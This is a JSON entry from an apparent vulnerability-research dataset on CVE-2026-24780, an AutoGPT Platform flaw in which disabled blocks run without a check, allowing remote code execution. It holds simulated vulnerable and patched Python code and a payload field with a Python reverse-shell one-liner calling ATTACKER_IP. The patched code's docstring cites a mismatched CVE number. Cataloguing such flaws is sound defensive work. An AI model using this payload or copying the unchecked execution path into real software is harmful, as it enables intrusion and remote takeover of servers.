{"id":1598,"cve":"CVE-2026-24780","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-24780\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":8.6,"published":"2026-01-29","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Missing Check","category":"Authentication, Authorization, and Session Management","subcategory":"Insecure Direct Object References (IDOR)","scope":"Remote","impact":"Arbitrary Code Execution","summary":"AutoGPT allows authenticated users to execute disabled blocks, leading to RCE.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-24780\/","description":"AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to autogpt-platform-beta-v0.6.44, AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. autogpt-platform-beta-v0.6.44 contains a fix.","solution":"Upgrade AutoGPT Platform to version autogpt-platform-beta-v0.6.44 or later.","affected_component":"Python","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport uuid\nimport sys\nimport importlib\n\n# This simulates a database model for blocks.\nclass Block:\n    def __init__(self, uuid, name, disabled=False):\n        self.uuid = uuid\n        self.name = name\n        self.disabled = disabled\n\n    def execute(self, **kwargs):\n        \"\"\"Default execution for simple blocks.\"\"\"\n        print(f\"Executing safe block '{self.name}'\")\n\n# This simulates the specific, dangerous BlockInstallationBlock.\nclass BlockInstallationBlock(Block):\n    def execute(self, **kwargs):\n        \"\"\"\n        This block's logic writes arbitrary Python code to the server\n        filesystem and then executes it via dynamic import.\n        \"\"\"\n        python_code = kwargs.get(\"python_code\")\n        if not python_code:\n            raise ValueError(\"No python_code provided for installation.\")\n\n        # Create a temporary, unique module name to avoid conflicts.\n        module_name = f\"temp_module_{uuid.uuid4().hex}\"\n        file_path = f\"{module_name}.py\"\n\n        try:\n            # 1. Write arbitrary code from the user to a Python file.\n            with open(file_path, \"w\") as f:\n                f.write(python_code)\n\n            # Ensure the current directory is in the path for the import.\n            if '' not in sys.path:\n                 sys.path.insert(0, '')\n\n            # 2. The RCE Vector: Import the newly created file, executing its content.\n            __import__(module_name)\n\n        finally:\n            # 3. Clean up the created files.\n            if module_name in sys.modules:\n                del sys.modules[module_name]\n            if os.path.exists(file_path):\n                os.remove(file_path)\n            pycache_dir = \"__pycache__\"\n            pyc_file = f\"{module_name}.cpython-{sys.version_info.major}{sys.version_info.minor}.pyc\"\n            pyc_path = os.path.join(pycache_dir, pyc_file)\n            if os.path.exists(pyc_path):\n                os.remove(pyc_path)\n\n\n# This simulates the application's block registry or database.\nBLOCKS_DB = {\n    \"d0e1a2b3-c4d5-e6f7-a8b9-c0d1e2f3a4b5\": Block(\n        uuid=\"d0e1a2b3-c4d5-e6f7-a8b9-c0d1e2f3a4b5\",\n        name=\"Safe Example Block\"\n    ),\n    \"a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6\": BlockInstallationBlock(\n        uuid=\"a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6\",\n        name=\"Agent Block Installer\",\n        disabled=True  # CRITICAL: This dangerous block is intended to be disabled.\n    )\n}\n\n# This function represents the vulnerable API endpoint.\ndef api_execute_block(block_uuid: str, execution_params: dict):\n    \"\"\"\n    Fetches a block by its UUID and executes it.\n\n    VULNERABILITY: This function retrieves the block but fails to check\n    its 'disabled' flag before execution. An attacker can supply the UUID\n    of a known-dangerous but disabled block to achieve RCE.\n    \"\"\"\n    # 1. Fetch block from the \"database\" by UUID.\n    block_to_run = BLOCKS_DB.get(block_uuid)\n\n    if not block_to_run:\n        return {\"status\": \"error\", \"message\": \"Block not found\"}\n\n    # 2. THE VULNERABILITY IS HERE:\n    # The code does not check if `block_to_run.disabled` is True.\n    # It directly proceeds to execution regardless of the flag's value.\n    # A fixed version would include:\n    # if block_to_run.disabled:\n    #     return {\"status\": \"error\", \"message\": \"Block is disabled\"}\n\n    # 3. Execute the block, passing any parameters from the user.\n    # If the targeted block is the disabled 'BlockInstallationBlock', its\n    # dangerous 'execute' method is called with user-provided code.\n    try:\n        block_to_run.execute(**execution_params)\n        return {\"status\": \"success\", \"message\": f\"Block '{block_to_run.name}' executed.\"}\n    except Exception as e:\n        return {\"status\": \"error\", \"message\": str(e)}","patched_code":"import dataclasses\nfrom typing import Any, Dict, Optional\n\n\n# Mock HTTPException for demonstration purposes\nclass HTTPException(Exception):\n    def __init__(self, status_code: int, detail: str):\n        self.status_code = status_code\n        self.detail = detail\n        super().__init__(f\"{status_code}: {detail}\")\n\n\n# A simplified representation of a Block, based on the vulnerability description\n@dataclasses.dataclass\nclass Block:\n    uuid: str\n    name: str\n    disabled: bool\n\n    def execute(self, *args, **kwargs) -> Any:\n        \"\"\"Simulates the execution of a block.\"\"\"\n        print(f\"Executing block '{self.name}' (UUID: {self.uuid})...\")\n        # In a real scenario, this would perform the block's specific logic.\n        # For the vulnerable 'BlockInstallationBlock', this is where arbitrary\n        # code would be written to a file and imported.\n        if self.name == \"BlockInstallationBlock\":\n            print(\"SIMULATING DANGEROUS ACTION: Writing and importing arbitrary code.\")\n            # pass # In a real exploit, this would be os.system() or __import__()\n        return {\"status\": \"success\", \"output\": f\"Block '{self.name}' executed.\"}\n\n\n# Mock database of installed blocks\n# The key vulnerability context is that 'BlockInstallationBlock' is disabled\n# but could still be executed in the vulnerable version.\nMOCK_BLOCK_DB: Dict[str, Block] = {\n    \"uuid-safe-block-123\": Block(\n        uuid=\"uuid-safe-block-123\", name=\"DataProcessingBlock\", disabled=False\n    ),\n    \"uuid-vulnerable-block-456\": Block(\n        uuid=\"uuid-vulnerable-block-456\",\n        name=\"BlockInstallationBlock\",\n        disabled=True,  # This block should NOT be executable\n    ),\n}\n\n\ndef find_block_by_uuid(uuid: str) -> Optional[Block]:\n    \"\"\"Simulates fetching a block's configuration from a database.\"\"\"\n    return MOCK_BLOCK_DB.get(uuid)\n\n\n# This function represents the fixed API endpoint for block execution.\ndef execute_block(block_uuid: str) -> Dict[str, Any]:\n    \"\"\"\n    Finds and executes a block by its UUID, but only if it is not disabled.\n    This demonstrates the fix for CVE-2024-27880.\n    \"\"\"\n    block = find_block_by_uuid(block_uuid)\n\n    if not block:\n        raise HTTPException(status_code=404, detail=f\"Block with UUID '{block_uuid}' not found.\")\n\n    # =========================================================================\n    # THE FIX:\n    # The vulnerability was a failure to check the `disabled` flag. The fix\n    # is to add this check and prevent execution if the block is disabled.\n    if block.disabled:\n        raise HTTPException(\n            status_code=403,\n            detail=f\"Execution of disabled block '{block.name}' is not allowed.\"\n        )\n    # =========================================================================\n\n    # If the block is not disabled, proceed with execution\n    result = block.execute()\n    return result\n\n\nif __name__ == \"__main__\":\n    print(\"--- DEMONSTRATING THE FIX ---\")\n\n    # 1. Attempt to execute a normal, enabled block. This should succeed.\n    print(\"\\nAttempting to execute an enabled block...\")\n    try:\n        enabled_block_uuid = \"uuid-safe-block-123\"\n        response = execute_block(enabled_block_uuid)\n        print(f\"SUCCESS: API response: {response}\")\n    except HTTPException as e:\n        print(f\"ERROR: Caught exception: {e}\")\n\n    # 2. Attempt to execute the disabled 'BlockInstallationBlock'.\n    #    This should be blocked by the fix.\n    print(\"\\nAttempting to execute a disabled block (the exploit target)...\")\n    try:\n        disabled_block_uuid = \"uuid-vulnerable-block-456\"\n        response = execute_block(disabled_block_uuid)\n        print(f\"ERROR: API response: {response}\")\n    except HTTPException as e:\n        print(f\"SUCCESS (FIX WORKED): Caught expected exception: {e}\")","payload_needed":true,"payload":"```python\nimport socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('\/bin\/bash')\n```","payload_status":"available","published_fix":[],"references":null}